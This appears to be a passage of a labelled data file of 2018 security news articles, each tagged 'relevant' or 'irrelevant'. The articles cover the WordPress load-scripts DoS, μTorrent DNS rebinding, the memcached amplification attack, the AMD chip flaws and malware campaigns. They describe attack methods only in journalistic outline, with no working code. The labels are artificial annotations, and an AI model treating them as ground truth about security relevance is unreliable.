Another news makes this situation, even more, worse—Intel halted all its CPU firmware patches for the Meltdown and Spectre flaws last week after it caused issues like spontaneous reboots and other 'unpredictable' system behaviour on affected PCs. So, until Intel and other vendors do not come up with stable security patches for the Meltdown and Spectre attacks that don't cause systems to break, users are recommended to keep their operating system, web browsers, antivirus and other software up-to-date.",relevant
"PyeongChang 2018 Winter Olympics Opening Ceremony Disrupted by Malware Attack The Pyeongchang Winter Olympics taking place in South Korea was disrupted over the weekend following a malware attack before and during the opening ceremony on Friday. The cyber attack coincided with 12 hours of downtime on the official website for the Winter Games, the collapse of Wi-Fi in the Pyeongchang Olympic stadium and the failure of televisions and internet at the main press center, leaving attendees unable to print their tickets for events or get venue information. The Pyeongchang Winter Olympics organizing committee confirmed Sunday that a cyber attack hit its network helping run the event during the opening ceremony, which was fully restored on 8 am local time on Saturday—that's full 12 hours after the attack began. Multiple cybersecurity firms published reports on Monday, suggesting that the cause of the disruption was ""destructive"" wiper malware that had been spread throughout the Winter Games' official network using stolen credentials. Dubbed ""Olympic Destroyer"" by the researchers at Cisco Talos, the wiper malware majorly focuses on taking down networks and systems and wiping data, rather than stealing information. The Talos researchers would not comment on attribution, but various security experts have already started attributing the Olympic Destroyer malware to hackers linked to either North Korea, China or Russia. According to the analysis by Cisco Talos, the attacker had intimate knowledge of the Pyeongchang 2018 network's systems and knew a ""lot of technical details of the Olympic Game infrastructure such as username, domain name, server name, and obviously password."" ""The other factor to consider here is that by using the hard-coded credentials within this malware it's also possible the Olympic infrastructure was already compromised previously to allow the exfiltration of these credentials,"" researchers said. The Olympic Destroyer malware drops two credential stealers, a browser credential stealer and a system stealer, to obtain required credentials and then spreads to other systems as well using PsExec and Windows Management Instrumentation (WMI), two legitimate Windows administration tools used by network admins to access and carry out actions on other PCs on a network. The researchers noted that both built-in tools were also abused by the Bad Rabbit ransomware and NotPetya wiper malware last year. Once installed, the malware then first deletes all possible ""shadow"" copies of files and Windows backup catalogs, turn off recovery mode and then deletes system logs to cover its tracks and making file recovery difficult. ""Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. The sole purpose of this malware is to perform destruction of the host and leave the computer system offline,"" reads the Talos blog post. It's difficult to accurately attribute this cyber attack to a specific group or nation-state hackers due to sparse of technical evidence to support such a conclusion as well as hackers often employing techniques to obfuscate their operations.",irrelevant
"Russian Scientists Arrested for Using Nuclear Weapon Facility to Mine Bitcoins Two days ago when infosec bods claimed to have uncovered what's believed to be the first case of a SCADA network (a water utility) infected with cryptocurrency-mining malware, a batch of journalists accused other authors of making fear-mongering headlines, taunting that the next headline could be about cryptocurrency-miner detected in a nuclear plant. It seems that now they have to run a story themselves with such headlines on their website because Russian Interfax News Agency yesterday reported that several scientists at Russia's top nuclear research facility had been arrested for mining cryptocurrency with ""office computing resources."" The suspects work as engineers at the Russian Federation Nuclear Center facility—also known as the All-Russian Research Institute of Experimental Physics—which works on developing nuclear weapons. The center is located in Sarov, Sarov is still a restricted area with high security. It is also the birthplace of the Soviet Union's first nuclear bomb. In 2011, the Russian Federation Nuclear Center switched on a new supercomputer with a capacity of 1 petaflop, making it the twelfth most powerful in the world at the time. According to Russian media reports, the engineers had tried to use one of Russia's most powerful supercomputers housed in the Federal Nuclear Center to mine Bitcoins. The suspects were caught red-handed while attempting to connect the lab's supercomputer to the internet, which was supposed to be offline to ensure security, the nuclear center's security department was alerted. Once caught, the engineers were handed over to the Federal Security Service (FSB). ""There has been an unsanctioned attempt to use computer facilities for private purposes including so-called mining,"" Tatyana Zalesskaya, head of the Institute's press service, told Interfax news agency. ""Their activities were stopped in time. The bungling miners have been detained by the competent authorities. As far as I know, a criminal case has been opened regarding them,"" Zalesskaya added, without revealing the exact number of employees detained. The Federal Security Service (FSB) has yet to issue a statement on the arrests and criminal charges. Cryptocurrency has gained tremendous popularity over the past year. Mining a single Bitcoin is not an ice cakewalk, as it requires an enormous amount of computational power and huge amounts of energy. According to media reports, Russia is becoming a hotbed of cryptocurrency mining due to its low-cost energy reserves. One Russian businessman, Alexey Kolesnik, reportedly also bought two power stations exclusively to generate electricity for Bitcoin-mining data centers.",irrelevant
"Flaw in Popular μTorrent Software Lets Hackers Control Your PC Remotely If you have installed world's most popular torrent download software, μTorrent, then you should download its latest version for Windows as soon as possible. Google's security researcher at Project Zero discovered a serious remote code execution vulnerability in both the 'μTorrent desktop app for Windows' and newly launched 'μTorrent Web' that allows users to download and stream torrents directly into their web browser. μTorrent Classic and μTorrent Web apps run in the background on the Windows machine and start a locally hosted HTTP RPC server on ports 10000 and 19575, respectively, using which users can access its interfaces over any web browser. However, Project Zero researcher Tavis Ormandy found that several issues with these RPC servers could allow remote attackers to take control of the torrent download software with little user interaction. According to Ormandy, uTorrent apps are vulnerable to a hacking technique called the ""domain name system rebinding"" that could allow any malicious website a user visits to execute malicious code on user's computer remotely. torrent-download-software To execute DNS rebinding attack, one can simply create a malicious website with a DNS name that resolves to the local IP address of the computer running a vulnerable uTorrent app. ""This requires some simple DNS rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable,"" Ormandy explained. Proof-of-Concept Exploits for uTorrent Software Released Publicly torrent-download-software Ormandy also provided proof-of-concept exploits for μTorrent Web and μTorrent desktop (1 and 2), which are capable of passing malicious commands through the domain in order to get them to execute on the targeted computer. Last month, Ormandy demonstrated same attack technique against the Transmission BitTorrent app. Ormandy reported BitTorrent of the issues with the uTorrent client in November 2017 with a 90-days disclosure deadline, but a patch was made public on Tuesday—that's almost 80 days after the initial disclosure. What's more? The re-issued new security patches the same day after Ormandy found that his exploits continued to work successfully in the default configuration with a small tweak. ""This issue is still exploitable,"" Ormandy said. ""The vulnerability is now public because a patch is available, and BitTorrent have already exhausted their 90 days anyway."" ""I see no other option for affected users but to stop using uTorrent Web and contact BitTorrent and request a comprehensive patch."" Patch your uTorrent Software NOW! The company assured its users that all vulnerabilities reported by Ormandy it two of its products had been addressed with the release of: μTorrent Stable 3.5.3.44358 BitTorrent Stable 7.10.3.44359 μTorrent Beta 3.5.3.44352 μTorrent Web 0.12.0.502 All users are urged to update their software immediately.",relevant
"Unpatched DoS Flaw Could Help Anyone Take Down WordPress Websites A simple yet serious application-level denial of service (DoS) vulnerability has been discovered in WordPress CMS platform that could allow anyone to take down most WordPress websites even with a single machine—without hitting with a massive amount of bandwidth, as required in network-level DDoS attacks to achieve the same. Since the company has denied patching the issue, the vulnerability (CVE-2018-6389) remains unpatched and affects almost all versions of WordPress released in last nine years, including the latest stable release of WordPress (Version 4.9.2). Discovered by Israeli security researcher Barak Tawily, the vulnerability resides in the way ""load-scripts.php,"" a built-in script in WordPress CMS, processes user-defined requests. For those unaware, load-scripts.php file has only been designed for admin users to help a website improve performance and load page faster by combining (on the server end) multiple JavaScript files into a single request. However, to make ""load-scripts.php"" work on the admin login page (wp-login.php) before login, WordPress authors did not keep any authentication in place, eventually making the feature accessible to anyone. wordpress dos attack Depending upon the plugins and modules you have installed, the load-scripts.php file selectively calls required JavaScript files by passing their names into the ""load"" parameter, separated by a comma, like in the following URL: https://your-wordpress-site.com/wp-admin/load-scripts.php?c=1&load=editor,common,user-profile,media-widgets,media-gallery While loading the website, the 'load-scripts.php' (mentioned in the head of the page) tries to find each JavaScript file name given in the URL, append their content into a single file and then send back it to the user's web browser. How WordPress DoS Attack Works wordpress-dos-attack-tool According to the researcher, one can simply force load-scripts.php to call all possible JavaScript files (i.e., 181 scripts) in one go by passing their names into the above URL, making the targeted website slightly slow by consuming high CPU and server memory. ""There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user,"" Tawily says. Although a single request would not be enough to take down the whole website for its visitors, Tawily used a proof-of-concept (PoC) python script, doser.py, which makes large numbers of concurrent requests to the same URL in an attempt to use up as much of the target servers CPU resources as possible and bring it down. The Hacker News has verified the authenticity of the DoS exploit that successfully took down one of our demo WordPress websites running on a medium-sized VPS server. ""It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so. After ~500 requests, the server didn't respond at all any more, or returned 502/503/504 status code errors,"" Tawily says. However, attack from a single machine, with some 40 Mbps connection, was not enough to take down another demo website running on a dedicated server with high processing power and memory. wordpress-hacking But that doesn't mean the flaw is not effective against WordPress websites running over a heavy-server, as application-level attack generally requires a lot fewer packets and bandwidth to achieve the same goal—to take down a site. So attackers with more bandwidth or a few bots can exploit this flaw to target big and popular WordPress websites as well. No Patch Available – Mitigation Guide Along with the full disclosure, Tawily has also provided a video demonstration for the WordPress Denial of Service attack. You can watch the video to see the attack in action. Knowing that DoS vulnerabilities are out-of-scope from the WordPress bug bounty program, Tawily responsibly reported this DoS vulnerability to the WordPress team through HackerOne platform. However, the company refused to acknowledge the issue, saying that this kind of bug ""should really get mitigated at the server end or network level rather than the application level,"" which is outside of WordPress's control. The vulnerability seems to be serious because WordPress powers nearly 29 percent of the Web, placing millions of websites vulnerable to hackers and making them unavailable for their legitimate users. For websites that can't afford services offering DDoS protection against application-layer attacks, the researcher has provided a forked version of WordPress, which includes mitigation against this vulnerability. However, I personally wouldn't recommend users to install modified CMS, even if it is from a trusted source other than the original author. Besides this, the researcher has also released a simple bash script that fixes the issue, in case you have already installed WordPress.",relevant
"WordPress Update Breaks Automatic Update Feature—Apply Manual Update WordPress administrators are once again in trouble. WordPress version 4.9.3 was released earlier this week with patches for a total 34 vulnerabilities, but unfortunately, the new version broke the automatic update mechanism for millions of WordPress websites. WordPress team has now issued a new maintenance update, WordPress 4.9.4, to patch this severe bug, which WordPress admins have to install manually. According to security site WordFence, when WordPress CMS tries to determine whether the site needs to install an updated version, if available, a PHP error interrupts the auto-update process. If not updated manually to the latest 4.9.4 version, the bug would leave your website on WordPress 4.9.3 forever, leaving it vulnerable to future security issues. Here's what WordPress lead developer Dion Hulse explained about the bug: ""#43103-core aimed to reduce the number of API calls which get made when the auto-update cron task is run. Unfortunately, due to human error, the final commit didn't have the intended effect and instead triggers a fatal error as not all of the dependencies of find_core_auto_update() are met. For whatever reason, the fatal error was not discovered before 4.9.3's release—it was a few hours after release when discovered."" The issue has since been fixed, but as reported, the fix will not be installed automatically. Thus, WordPress administrators are being urged to update to the latest WordPress release manually to make sure they'll be protected against future vulnerabilities. To manually update their WordPress installations, admin users can sign into their WordPress website and visit Dashboard→Updates and then click ""Update Now."" After the update, make sure that your core WordPress version is 4.9.4. However, not all websites being updated to the faulty update have reported seeing this bug. Some users have seen their website installed both updates (4.9.3 and 4.9.4) automatically. Moreover, the company released two new maintenance updates this week, but none of them includes a security patch for a severe application-level DoS vulnerability disclosed last week that could allow anyone to take down most WordPress websites even with a single machine. Since WordPress sites are often under hackers target due to its wide popularity in the content management system (CMS) market, administrators are advised to always keep their software and plugins up-to-date.",relevant
"New 4G LTE Network Attacks Let Hackers Spy, Track, Spoof and Spam Security researchers have discovered a set of severe vulnerabilities in 4G LTE protocol that could be exploited to spy on user phone calls and text messages, send fake emergency alerts, spoof location of the device and even knock devices entirely offline. A new research paper [PDF] recently published by researchers at Purdue University and the University of Iowa details 10 new cyber attacks against the 4G LTE wireless data communications technology for mobile devices and data terminals. The attacks exploit design weaknesses in three key protocol procedures of the 4G LTE network known as attach, detach, and paging. Unlike many previous research, these aren't just theoretical attacks. The researchers employed a systematic model-based adversarial testing approach, which they called LTEInspector, and were able to test 8 of the 10 attacks in a real testbed using SIM cards from four large US carriers. Authentication Synchronization Failure Attack Traceability Attack Numb Attack Authentication Relay Attack Detach/Downgrade Attack Paging Channel Hijacking Attack Stealthy Kicking-off Attack Panic Attack Energy Depletion Attack Linkability Attack Among the above-listed attacks, researchers consider an authentication relay attack is particularly worrying, as it lets an attacker connect to a 4G LTE network by impersonating a victim's phone number without any legitimate credentials. 4g-lte-network-hacking-1 This attack could not only allow a hacker to compromise the cellular network to read incoming and outgoing messages of the victims but also frame someone else for the crime. ""Through this attack the adversary can poison the location of the victim device in the core networks, thus allowing setting up a false alibi or planting fake evidence during a criminal investigation,"" the report said. Other notable attacks reported by the researchers could allow attackers to obtain victim's coarse-grained location information (linkability attack) and launch denial of service (DoS) attack against the device and take it offline (detach attack). ""Using LTEInspector, we obtained the intuition of an attack which enables an adversary to possibly hijack a cellular device's paging channel with which it can not only stop notifications (e.g., call, SMS) to reach the device but also can inject fabricated messages resulting in multiple implications including energy depletion and activity profiling,"" the paper reads. Using panic attack, attackers can create artificial chaos by broadcasting fake emergency messages about life-threatening attacks or riots to a large number of users in an area. What's interesting about these attacks is that many of these can be carried out for $1,300 to $3,900 using relatively low-cost USRP devices available in the market. Researchers have no plans to release the proof-of-concept code for these attacks until the flaws are fixed. Although there are some possible defenses against these observed attacks, the researchers refrained from discussing one. The paper reads: ""retrospectively adding security into an existing protocol without breaking backward compatibility often yields band-aid-like-solutions which do not hold up under extreme scrutiny."" ""It is also not clear, especially, for the authentication relay attack whether a defense exists that does not require major infrastructural or protocol overhaul,"" it adds. ""A possibility is to employ a distance-bounding protocol; realization of such protocol is, however, rare in practice."" The vulnerabilities are most worrying that once again raise concerns about the security of the cell standards in the real world, potentially having an industry-wide impact.",relevant
"MOSQUITO Attack Allows Air-Gapped Computers to Covertly Exchange Data The team of security researchers—who last month demonstrated how attackers could steal data from air-gapped computers protected inside a Faraday cage—are back with its new research showing how two (or more) air-gapped PCs placed in the same room can covertly exchange data via ultrasonic waves. Air-gapped computers are believed to be the most secure setup wherein the systems remain isolated from the Internet and local networks, requiring physical access to access data via a USB flash drive or other removable media. Dubbed MOSQUITO, the new technique, discovered by a team of researchers at Israel's Ben Gurion University, works by reversing connected speakers (passive speakers, headphones, or earphones) into microphones by exploiting a specific audio chip feature. Two years ago, the same team of researchers demonstrated how attackers could covertly listen to private conversations in your room just by reversing your headphones (connected to the infected computer) into a microphone, like a bug listening device, using malware. Now, with its latest research [PDF], the team has taken their work to the next level and found a way to convert some speakers/headphones/earphones that are not originally designed to perform as microphones into a listening device—when the standard microphone is not present, muted, taped, or turned off. air-gapped-computer-hacking Since some speakers/headphones/earphones respond well to the near-ultrasonic range (18kHz to 24kHz), researchers found that such hardware can be reversed to perform as microphones. Moreover, when it comes to a secret communication, it's obvious that two computers can't exchange data via audible sounds using speakers and headphones. So, inaudible ultrasonic waves offer the best acoustic covert channel for speaker-to-speaker communication. Video Demonstrations of MOSQUITO Attack Ben Gurion's Cybersecurity Research Center, directed by 38-year-old Mordechai Guri, used ultrasonic transmissions to make two air-gapped computers talk to each other despite the high degree of isolation. The attack scenarios demonstrated by researchers in the proof-of-concept videos involve two air-gap computers in the same room, which are somehow (using removable media) infected with malware but can not exchange data between them to accomplish attacker's mission. The attack scenarios include speaker-to-speaker communication, speaker-to-headphones communication, and headphones-to-headphones communication. ""Our results show that the speaker-to-speaker communication can be used to covertly transmit data between two air-gapped computers positioned a maximum of nine meters away from one another,"" the researchers say. ""Moreover, we show that two (microphone-less) headphones can exchange data from a distance of three meters apart."" However, by using loudspeakers, researchers found that data can be exchanged over an air-gap computer from a distance of eight meters away with an effective bit rate of 10 to 166 bit per second. It's not the first time when Ben-Gurion researchers have come up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap computers include: aIR-Jumper attack steals sensitive data from air-gapped PCs with the help of infrared-equipped CCTV cameras that are used for night vision. USBee can be used to steal data from air-gapped computers using radio frequency transmissions from USB connectors. DiskFiltration can steal data using sound signals emitted from the hard disk drive (HDD) of air-gapped computers. BitWhisper relies on heat exchange between two computers to stealthily siphon passwords and security keys. AirHopper turns a computer's video card into an FM transmitter to capture keystrokes. Fansmitter technique uses noise emitted by a computer fan to transmit data. GSMem attack relies on cellular frequencies.",irrelevant
"AMD Acknowledges Newly Disclosed Flaws In Its Processors — Patches Coming Soon AMD has finally acknowledged 13 critical vulnerabilities, and exploitable backdoors in its Ryzen and EPYC processors disclosed earlier this month by Israel-based CTS Labs and promised to roll out firmware patches for millions of affected devices 'in the coming weeks.' According to CTS-Labs researchers, critical vulnerabilities (RyzenFall, MasterKey, Fallout, and Chimera) that affect AMD's Platform Security Processor (PSP) could allow attackers to access sensitive data, install persistent malware inside the chip, and gain full access to the compromised systems. Although exploiting AMD vulnerabilities require admin access, it could help attackers defeat important security features like Windows Credential Guard, TPMs, and virtualization that are responsible for preventing access to the sensitive data from even an admin or root account. In a press release published by AMD on Tuesday, the company downplays the threat by saying that, ""any attacker gaining unauthorised administrative access would have a wide range of attacks at their disposal well beyond the exploits identified in this research."" However, AMD claims patches and updates for these critical flaws are not expected to impact device performance. Responsible Disclosure Controversy Infosec experts and journalists embroiled CTS Labs into controversies by raising questions over the way it disclosed vulnerabilities details to the public in less than 24 hours after notifying AMD. However, it's important to note that CTS Labs researchers did not disclose any technical information about the flaws to the public that could harm AMD users in any way. According to Ilia Luk-Zilberman, CTO of CTS-Labs, the current process of 'Responsible Disclosure' has two significant problems: If researcher gives a 30/45/90 days limit to the affected vendor, it's extremely rare that the vendor would notify its customers about the unpatched security vulnerabilities during this period, leaving them unaware of potential risks. If vendors do not respond or patch the vulnerability during this 90-day disclosure period, researchers can proudly prefer to go public with full technical details of the flaws, ultimately putting their customers at risk. Zilberman understands the need for both steps, but with his style of disclosing ""AMD flaws,"" the company proposes an alternative 'Responsible Disclosure' process that: notifies affected customers about the impact, ensures public pressure on the vendor to get patches as soon as possible, involves third-party experts to verify the flaws, and at the same time never put customers at risk. ""I think that a better way, would be to notify the public on day 0 that there are vulnerabilities and what is the impact. To notify the public and the vendor together. And not to disclose the actual technical details ever unless it's already fixed. To put the full public pressure on the vendor from the get go, but to never put customers at risk,"" Zilberman said. Anyway, CTS Labs also claimed that AMD could take several months to release patches for most of the issues, where some of them cannot be fixed. For more details about RyzenFall, MasterKey, Fallout, and Chimera vulnerabilities, you can head on to our previous article.",relevant
"13 Critical Flaws Discovered in AMD Ryzen and EPYC Processors Security researchers claimed to have discovered 13 critical Spectre/Meltdown-like vulnerabilities throughout AMD's Ryzen and EPYC lines of processors that could allow attackers to access sensitive data, install persistent malware inside the chip, and gain full access to the compromised systems. All these vulnerabilities reside in the secure part of the AMD's Zen architecture processors and chipsets—typically where device stores sensitive information such as passwords and encryption keys and makes sure nothing malicious is running when you start your PC. The alleged vulnerabilities are categorized into four classes—RYZENFALL, FALLOUT, CHIMERA, and MASTERKEY—and threaten wide-range of servers, workstations, and laptops running vulnerable AMD Ryzen, Ryzen Pro, Ryzen Mobile or EPYC processors. Discovered by a team of researchers at Israel-based CTS-Labs, newly disclosed unpatched vulnerabilities defeat AMD's Secure Encrypted Virtualization (SEV) technology and could allow attackers to bypass Microsoft Windows Credential Guard to steal network credentials. Moreover, researchers also claimed to have found two exploitable manufacturer backdoors inside Ryzen chipset that could allow attackers to inject malicious code inside the chip. amd-secure-processor-ryzen-EPYC-vulnerabilities Researchers successfully tested these vulnerabilities against 21 different AMD products and believe that 11 more products are also vulnerable to the issues. Though AMD is currently investigating the accuracy of these flaws, Dan Guido, the founder of security firm Trail of Bits, who got early access to the full technical details and PoC exploits, have independently confirmed that all 13 AMD flaws are accurate and works as described in the paper. Here's the brief explanation of all the vulnerabilities: RYZENFALL (v1, v2, v3, v4) AMD Vulnerabilities These flaws reside in AMD Secure OS and affect Ryzen secure processors (workstation/pro/mobile). amd-secure-processor-hacking According to researchers, RYZENFALL vulnerabilities allow unauthorized code execution on the Ryzen Secure Processor, eventually letting attackers access protected memory regions, inject malware into the processor itself, and disable SMM protections against unauthorized BIOS reflashing. Attackers could also use RYZENFALL to bypass Windows Credential Guard and steal network credentials, and then use the stolen data to spread across to other computers within that network (even highly secure Windows corporate networks). RYZENFALL can also be combined with another issue called MASTERKEY (detailed below) to install persistent malware on the Secure Processor, ""exposing customers to the risk of covert and long-term industrial espionage."" FALLOUT (v1, v2, v3) AMD Vulnerabilities These vulnerabilities reside in the bootloader component of EPYC secure processor and allow attackers to read from and write to protected memory areas, such as SMRAM and Windows Credential Guard isolated memory. FALLOUT attacks only affect servers using AMD's EPYC secure processors and could be exploited to inject persistent malware into VTL1, where the Secure Kernel and Isolated User Mode (IUM) execute code. Like RYZENFALL, FALLOUT also let attackers bypass BIOS flashing protections, and steal network credentials protected by Windows Credential Guard. ""EPYC servers are in the process of being integrated into data centers around the world, including at Baidu and Microsoft Azure Cloud, and AMD has recently announced that EPYC and Ryzen embedded processors are being sold as high-security solutions for mission-critical aerospace and defense systems,"" researchers say. ""We urge the security community to study the security of these devices in depth before allowing them on mission-critical systems that could potentially put lives at risk."" CHIMERA (v1, v2) AMD Vulnerabilities These two vulnerabilities are actually hidden manufacturer backdoors inside AMD's Promontory chipsets that are an integral part of all Ryzen and Ryzen Pro workstations. amd-secure-processor-ryzen-EPYC-hacking One backdoor has been implemented in firmware running on the chip, while the other in the chip's hardware (ASIC), and allow attackers to run arbitrary code inside the AMD Ryzen chipset, or to re-flash the chip with persistent malware. Since WiFi, network and Bluetooth traffic flows through the chipset, an attacker could exploit the chipset's man-in-the-middle position to launch sophisticated attacks against your device. ""This, in turn, could allow for firmware-based malware that has full control over the system, yet is notoriously difficult to detect or remove. Such malware could manipulate the operating system through Direct Memory Access (DMA), while remaining resilient against most endpoint security products,"" researchers say. According to the researchers, it may be possible to implement a stealthy keylogger by listening to USB traffic that flows through the chipset, allowing attackers to see everything a victim types on the infected computer. ""Because the latter has been manufactured into the chip, a direct fix may not be possible, and the solution may involve either a workaround or a recall,"" researchers warn. MASTERKEY (v1, v2, v3) AMD Vulnerabilities These three vulnerabilities in EPYC and Ryzen (workstation/pro/mobile) processors could allow attackers to bypass hardware validated boot to re-flash BIOS with a malicious update and infiltrate the Secure Processor to achieve arbitrary code execution. Like RYZENFALL and FALLOUT, MASTERKEY also allows attackers to install stealthy and persistent malware inside AMD Secure Processor, ""running in kernel-mode with the highest possible permissions,"" as well as bypass Windows Credential Guard to facilitate network credential theft. MASTERKEY vulnerabilities also allow attackers to disable security features such as Firmware Trusted Platform Module (fTPM) and Secure Encrypted Virtualization (SEV). It's notable that all these vulnerabilities require either low-privilege access, or administrative in some cases, on the targeted system to work. CTS-Lab researchers gave just 24 hours to the AMD team to look at all vulnerabilities and respond before going public with their details—that's hell quick for any company to understand and patch the critical level issues properly. While Intel and Microsoft are still managing its patches for Meltdown and Spectre vulnerabilities, the newly discovered vulnerabilities could create similar trouble for AMD and its customers. So, let's wait and watch when the company comes up with fixes, though the researchers said it could take ""several months to fix"" all the issues. For more detailed information about the vulnerabilities, you can head on to this paper [PDF] titled, ""Severe Security Advisory on AMD Processors,"" published by CTS-Lab.",relevant
"Biggest-Ever DDoS Attack (1.35 Tbs) Hits Github Website On Wednesday, February 28, 2018, GitHub's code hosting website hit with the largest-ever distributed denial of service (DDoS) attack that peaked at record 1.35 Tbps. Interestingly, attackers did not use any botnet network, instead weaponized misconfigured Memcached servers to amplify the DDoS attack. Earlier this week we published a report detailing how attackers could abuse Memcached, popular open-source and easily deployable distributed caching system, to launch over 51,000 times powerful DDoS attack than its original strength. Dubbed Memcrashed, the amplification DDoS attack works by sending a forged request to the targeted Memcrashed server on port 11211 using a spoofed IP address that matches the victim's IP. A few bytes of the request sent to the vulnerable server trigger tens of thousands of times bigger response against the targeted IP address. ""This attack was the largest attack seen to date by Akamai, more than twice the size of the September 2016 attacks that announced the Mirai botnet and possibly the largest DDoS attack publicly disclosed,"" said Akamai, a cloud computing company that helped Github to survive the attack. In a post on its engineering blog, Github said, ""The attack originated from over a thousand different autonomous systems (ASNs) across tens of thousands of unique endpoints. It was an amplification attack using the memcached-based approach described above that peaked at 1.35Tbps via 126.9 million packets per second."" Expect More Record-Breaking DDoS Attacks Though amplification attacks are not new, this attack vector evolves thousands of misconfigured Memcached servers, many of which are still exposed on the Internet and could be exploited to launch potentially more massive attacks soon against other targets. To prevent Memcached servers from being abused as reflectors, administrators should consider firewalling, blocking or rate-limiting UDP on source port 11211 or completely disable UDP support if not in use.",relevant
"CredSSP Flaw in Remote Desktop Protocol Affects All Versions of Windows A critical vulnerability has been discovered in Credential Security Support Provider protocol (CredSSP) that affects all versions of Windows to date and could allow remote attackers to exploit RDP and WinRM to steal data and run malicious code. CredSSP protocol has been designed to be used by RDP (Remote Desktop Protocol) and Windows Remote Management (WinRM) that takes care of securely forwarding credentials encrypted from the Windows client to the target servers for remote authentication. Discovered by researchers at Cybersecurity firm Preempt Security, the issue (CVE-2018-0886) is a logical cryptographic flaw in CredSSP that can be exploited by a man-in-the-middle attacker with Wi-Fi or physical access to the network to steal session authentication data and perform a Remote Procedure Call attack. When a client and server authenticate over RDP and WinRM connection protocols, a man-in-the-middle attacker can execute remote commands to compromise enterprise networks. ""An attacker which have stolen a session from a user with sufficient privileges could run different commands with local admin privileges. This is especially critical in case of domain controllers, where most Remote Procedure Calls (DCE/RPC) are enabled by default,"" says Yaron Zinar, lead security researcher for Preempt. ""This could leave enterprises vulnerable to a variety of threats from attackers including lateral movement and infection on critical servers or domain controllers."" Since RDP is the most popular application to perform remote logins and almost all enterprise customers are using RDP, it makes most networks vulnerable to this security issue. Preempt Researchers discovered and reported this previously unknown remote code execution vulnerability to Microsoft in August last year, but the tech giant issued a fix for the protocol just today as part of its Patch Tuesday release—that's almost after 7 months of reporting. To defend yourself and your organizations against the CredSSP exploit, users are recommended to patch their workstations and servers using available updates from the Microsoft. Though researchers also warned that patching alone is not sufficient to prevent this attack, IT professionals are also required to make some configuration to apply the patch and be protected. Blocking the relevant application ports including RDP and DCE/RPC would also thwart the attack, but researchers say this attack could even be implemented in different ways, using different protocols. Therefore, to better protect your network, it is a good idea to decrease the use of privileged account as much as possible and instead use non-privileged accounts whenever applicable. As part of March 2018 Patch Tuesday, Microsoft has also released security patches for its other products, including Microsoft IE and Edge browser, Windows OS, Microsoft Office, PowerShell, Core ChakraCore, as well as Adobe Flash player.",relevant
"New Cryptocurrency Mining Malware Infected Over 500,000 PCs in Just Few Hours Two days ago, Microsoft encountered a rapidly spreading cryptocurrency-mining malware that infected almost 500,000 computers within just 12 hours and successfully blocked it to a large extent. Dubbed Dofoil, aka Smoke Loader, the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mines Electroneum coins, yet another cryptocurrency, for attackers using victims' CPUs. On March 6, Windows Defender suddenly detected more than 80,000 instances of several variants of Dofoil that raised the alarm at Microsoft Windows Defender research department, and within the next 12 hours, over 400,000 instances were recorded. The research team found that all these instances, rapidly spreading across Russia, Turkey, and Ukraine, were carrying a digital coin-mining payload, which masqueraded as a legitimate Windows binary to evade detection. However, Microsoft has not mentioned how these instances were delivered to such a massive audience at the first place in this short period. Dofoil uses a customized mining application that can mine different cryptocurrencies, but in this campaign, the malware was programmed to mine Electroneum coins only. Malware According to the researchers, Dofoil trojan uses an old code injection technique called 'process hollowing' that that involves spawning a new instance of a legitimate process with a malicious one so that the second code runs instead of the original, tricking process monitoring tools and antivirus into believing that the original process is running. ""The hollowed explorer.exe process then spins up a second malicious instance, which drops and runs a coin mining malware masquerading as a legitimate Windows binary, wuauclt.exe."" To stay persistence on an infected system for a long time to mine Electroneum coins using stolen computer resources, Dofoil trojan modifies the Windows registry. ""The hollowed explorer.exe process creates a copy of the original malware in the Roaming AppData folder and renames it to ditereah.exe,"" the researchers say. ""It then creates a registry key or modifies an existing one to point to the newly created malware copy. In the sample we analyzed, the malware modified the OneDrive Run key."" Dofoil also connects to a remote command and control (C&C) server hosted on decentralized Namecoin network infrastructure and listens for new commands, including the installation of additional malware. Microsoft says behavior monitoring and Artificial intelligence based machine learning techniques used by Windows Defender Antivirus have played an important role to detect and block this massive malware campaign.",irrelevant
"ISPs Caught Injecting Cryptocurrency Miners and Spyware In Some Countries Governments in Turkey and Syria have been caught hijacking local internet users' connections to secretly inject surveillance malware, while the same mass interception technology has been found secretly injecting browser-based cryptocurrency mining scripts into users' web traffic in Egypt. Governments, or agencies linked to it, and ISPs in the three countries are using Deep Packet Inspection technology from Sandvine (which merged with Procera Networks last year), to intercept and alter Internet users' web traffic. Deep packet inspection technology allows ISPs to prioritize, degrade, block, inject, and log various types of Internet traffic, in other words, they can analyze each packet in order to see what you are doing online. According to a new report by Citizen Lab, Turkey's Telecom network was using Sandvine PacketLogic devices to redirect hundreds of targeted users (journalists, lawyers, and human rights defenders) to malicious versions of legitimate programs bundled with FinFisher and StrongPity spyware, when they tried to download them from official sources. surveillance-spyware ""This redirection was possible because official websites for these programs, even though they might have supported HTTPS, directed users to non-HTTPS downloads by default,"" the report reads. A similar campaign has been spotted in Syria, where Internet users were silently redirected to malicious versions of the various popular application, including Avast Antivirus, CCleaner, Opera, and 7-Zip applications bundled with government spyware. In Turkey, Sandvine PacketLogic devices were being used to block websites like Wikipedia, the sites of the Dutch Broadcast Foundation (NOS) and Kurdistan Workers' Party (PKK). ISPs Injected Cryptocurrency Mining Scripts Into Users' Web Browsers sandvine-packetlogic-device However, in Egypt, Sandvine PacketLogic devices were being used by a Telecom operator for making money by: Secretly injecting a cryptocurrency mining script into every HTTP web page users visited in order to mine the Monero cryptocurrency, Redirecting Egyptian users to web pages with affiliate ads. In Egypt, these devices were also being used to block access to human rights, political, and news outlets like Al Jazeera, HuffPost Arabic, Reporters Without Borders, and Mada Masr, as well as NGOs like Human Rights Watch. Citizen Lab researchers reported Sandvine of their findings, but the company called their report ""false, misleading, and wrong,"" and also demanded them to return the second-hand PacketLogic device they used to confirm attribution of their fingerprint. Citizen Lab started this investigation in September last year after ESET researchers published a report revealing that the downloads of several popular apps were reportedly compromised at the ISP level in two (unnamed) countries to distribute the FinFisher spyware.",irrelevant
